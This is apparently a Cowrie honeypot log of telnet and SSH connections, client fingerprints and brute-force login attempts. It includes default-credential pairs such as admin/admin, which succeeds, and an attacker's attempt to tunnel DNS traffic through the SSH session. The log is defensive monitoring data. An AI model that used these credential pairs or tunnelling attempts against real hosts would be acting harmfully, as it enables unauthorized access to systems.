{"eventid":"cowrie.session.connect","src_ip":"37.68.209.183","src_port":50446,"dst_ip":"159.203.135.109","dst_port":23,"session":"2249c7d48048","protocol":"telnet","message":"New connection: 37.68.209.183:50446 (159.203.135.109:23) [session: 2249c7d48048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:23.896428Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":41574,"dst_ip":"159.203.135.109","dst_port":23,"session":"23db43392717","protocol":"telnet","message":"New connection: 64.41.88.162:41574 (159.203.135.109:23) [session: 23db43392717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:24.973248Z"}
{"eventid":"cowrie.session.closed","duration":65.5296106338501,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:25.596287Z","src_ip":"64.41.88.162","session":"f5bc047dda51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":42266,"dst_ip":"159.203.135.109","dst_port":23,"session":"250cb22fc96b","protocol":"telnet","message":"New connection: 64.41.88.162:42266 (159.203.135.109:23) [session: 250cb22fc96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:25.957238Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.68.209.183","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"5801b6cb1b8d","protocol":"telnet","message":"New connection: 37.68.209.183:51978 (159.203.135.109:23) [session: 5801b6cb1b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:36.130110Z"}
{"eventid":"cowrie.session.closed","duration":91.14017581939697,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:47.320692Z","src_ip":"64.41.88.162","session":"a5a52a12a223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.29168486595154,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:51.720972Z","src_ip":"64.41.88.162","session":"c0a3f842198a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64799475669861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:57.621108Z","src_ip":"64.41.88.162","session":"23db43392717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37641882896423,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:52:58.185143Z","src_ip":"64.41.88.162","session":"f5396c0a941a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.48787569999695,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:00.444992Z","src_ip":"64.41.88.162","session":"250cb22fc96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55436,"dst_ip":"10.17.0.5","dst_port":23,"session":"250fe7caa0c4","protocol":"telnet","message":"New connection: 104.245.105.2:55436 (10.17.0.5:23) [session: 250fe7caa0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:00.719292Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55438,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbd1a5d7b403","protocol":"telnet","message":"New connection: 104.245.105.2:55438 (10.17.0.5:23) [session: bbd1a5d7b403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:04.561517Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47994,"dst_ip":"10.17.0.5","dst_port":23,"session":"206323e4c9ac","protocol":"telnet","message":"New connection: 104.245.105.2:47994 (10.17.0.5:23) [session: 206323e4c9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:13.026962Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":38668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5db7f142c489","protocol":"ssh","message":"New connection: 182.253.168.47:38668 (10.17.0.5:22) [session: 5db7f142c489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:13.093507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:14.323946Z","src_ip":"182.253.168.47","session":"5db7f142c489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:14.328095Z","src_ip":"182.253.168.47","session":"5db7f142c489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2022","message":"login attempt [ubuntu/Ubuntu@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:17.436529Z","src_ip":"182.253.168.47","session":"5db7f142c489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:18.946488Z","src_ip":"182.253.168.47","session":"5db7f142c489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37162,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3fd90ba80e","protocol":"telnet","message":"New connection: 104.245.105.2:37162 (10.17.0.5:23) [session: aa3fd90ba80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:31.152810Z"}
{"eventid":"cowrie.session.closed","duration":30.710876941680908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:31.430031Z","src_ip":"104.245.105.2","session":"250fe7caa0c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57690,"dst_ip":"159.203.135.109","dst_port":23,"session":"8abf944cc3a2","protocol":"telnet","message":"New connection: 64.41.88.162:57690 (159.203.135.109:23) [session: 8abf944cc3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:35.658912Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":57058,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b8c368627ce","protocol":"telnet","message":"New connection: 64.41.88.162:57058 (159.203.135.109:23) [session: 5b8c368627ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:37.639777Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":60204,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b11b8106cc","protocol":"telnet","message":"New connection: 64.41.88.162:60204 (159.203.135.109:23) [session: 09b11b8106cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:38.953725Z"}
{"eventid":"cowrie.session.closed","duration":35.02495312690735,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:39.586349Z","src_ip":"104.245.105.2","session":"bbd1a5d7b403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33118,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c03d6ae5053","protocol":"telnet","message":"New connection: 64.41.88.162:33118 (159.203.135.109:23) [session: 3c03d6ae5053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:40.344360Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33420,"dst_ip":"159.203.135.109","dst_port":23,"session":"3462151b8063","protocol":"telnet","message":"New connection: 64.41.88.162:33420 (159.203.135.109:23) [session: 3462151b8063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:40.697568Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":34088,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3ba06c81f78","protocol":"telnet","message":"New connection: 64.41.88.162:34088 (159.203.135.109:23) [session: e3ba06c81f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:41.451290Z"}
{"eventid":"cowrie.session.closed","duration":34.60564684867859,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:47.632496Z","src_ip":"104.245.105.2","session":"206323e4c9ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.243","src_port":59246,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b2db4078c3","protocol":"ssh","message":"New connection: 14.103.127.243:59246 (10.17.0.5:22) [session: 60b2db4078c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:57.533162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:53:57.538450Z","src_ip":"14.103.127.243","session":"60b2db4078c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.798208951950073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:02.950887Z","src_ip":"104.245.105.2","session":"aa3fd90ba80e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09894061088562,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:09.757747Z","src_ip":"64.41.88.162","session":"8abf944cc3a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.479695320129395,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:12.119390Z","src_ip":"64.41.88.162","session":"5b8c368627ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.720025062561035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:13.417427Z","src_ip":"64.41.88.162","session":"3462151b8063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.95195531845093,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:14.905601Z","src_ip":"64.41.88.162","session":"09b11b8106cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.44086790084839,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:17.785105Z","src_ip":"64.41.88.162","session":"3c03d6ae5053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0021448135376,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:18.960740Z","src_ip":"37.68.209.183","session":"a20538c519ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55873250961304,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:19.009926Z","src_ip":"64.41.88.162","session":"e3ba06c81f78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.68.209.183","src_port":34208,"dst_ip":"159.203.135.109","dst_port":23,"session":"45cf98797867","protocol":"telnet","message":"New connection: 37.68.209.183:34208 (159.203.135.109:23) [session: 45cf98797867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:20.861439Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":55438,"dst_ip":"10.17.0.5","dst_port":22,"session":"b90d22f4ea2e","protocol":"ssh","message":"New connection: 182.253.168.47:55438 (10.17.0.5:22) [session: b90d22f4ea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:21.591106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:21.596061Z","src_ip":"182.253.168.47","session":"b90d22f4ea2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:21.885855Z","src_ip":"182.253.168.47","session":"b90d22f4ea2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161576271057,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:23.897513Z","src_ip":"37.68.209.183","session":"2249c7d48048","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ssuser","password":"ssuser","message":"login attempt [ssuser/ssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:25.944439Z","src_ip":"182.253.168.47","session":"b90d22f4ea2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:27.597190Z","src_ip":"182.253.168.47","session":"b90d22f4ea2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00419354438782,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:36.134175Z","src_ip":"37.68.209.183","session":"5801b6cb1b8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ddf6c0639cf","protocol":"telnet","message":"New connection: 104.245.105.2:47770 (10.17.0.5:23) [session: 7ddf6c0639cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:38.609126Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48408,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5b3dd5bfdaf","protocol":"telnet","message":"New connection: 104.245.105.2:48408 (10.17.0.5:23) [session: c5b3dd5bfdaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:54:58.727559Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32994,"dst_ip":"10.17.0.5","dst_port":22,"session":"466dcce67e7a","protocol":"ssh","message":"New connection: 87.251.64.176:32994 (10.17.0.5:22) [session: 466dcce67e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:02.418369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:02.425947Z","src_ip":"87.251.64.176","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:02.524451Z","src_ip":"87.251.64.176","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:02.836464Z","src_ip":"87.251.64.176","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:02.940651Z","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:03.039504Z","src_ip":"87.251.64.176","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:03.139451Z","src_ip":"87.251.64.176","session":"466dcce67e7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.49608850479126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:11.105099Z","src_ip":"104.245.105.2","session":"7ddf6c0639cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":43962,"dst_ip":"10.17.0.5","dst_port":22,"session":"425ec28a2381","protocol":"ssh","message":"New connection: 182.253.168.47:43962 (10.17.0.5:22) [session: 425ec28a2381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:22.745969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:23.978041Z","src_ip":"182.253.168.47","session":"425ec28a2381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:23.982593Z","src_ip":"182.253.168.47","session":"425ec28a2381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:27.084337Z","src_ip":"182.253.168.47","session":"425ec28a2381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:55:28.378257Z","src_ip":"182.253.168.47","session":"425ec28a2381","protocol":"ssh"}
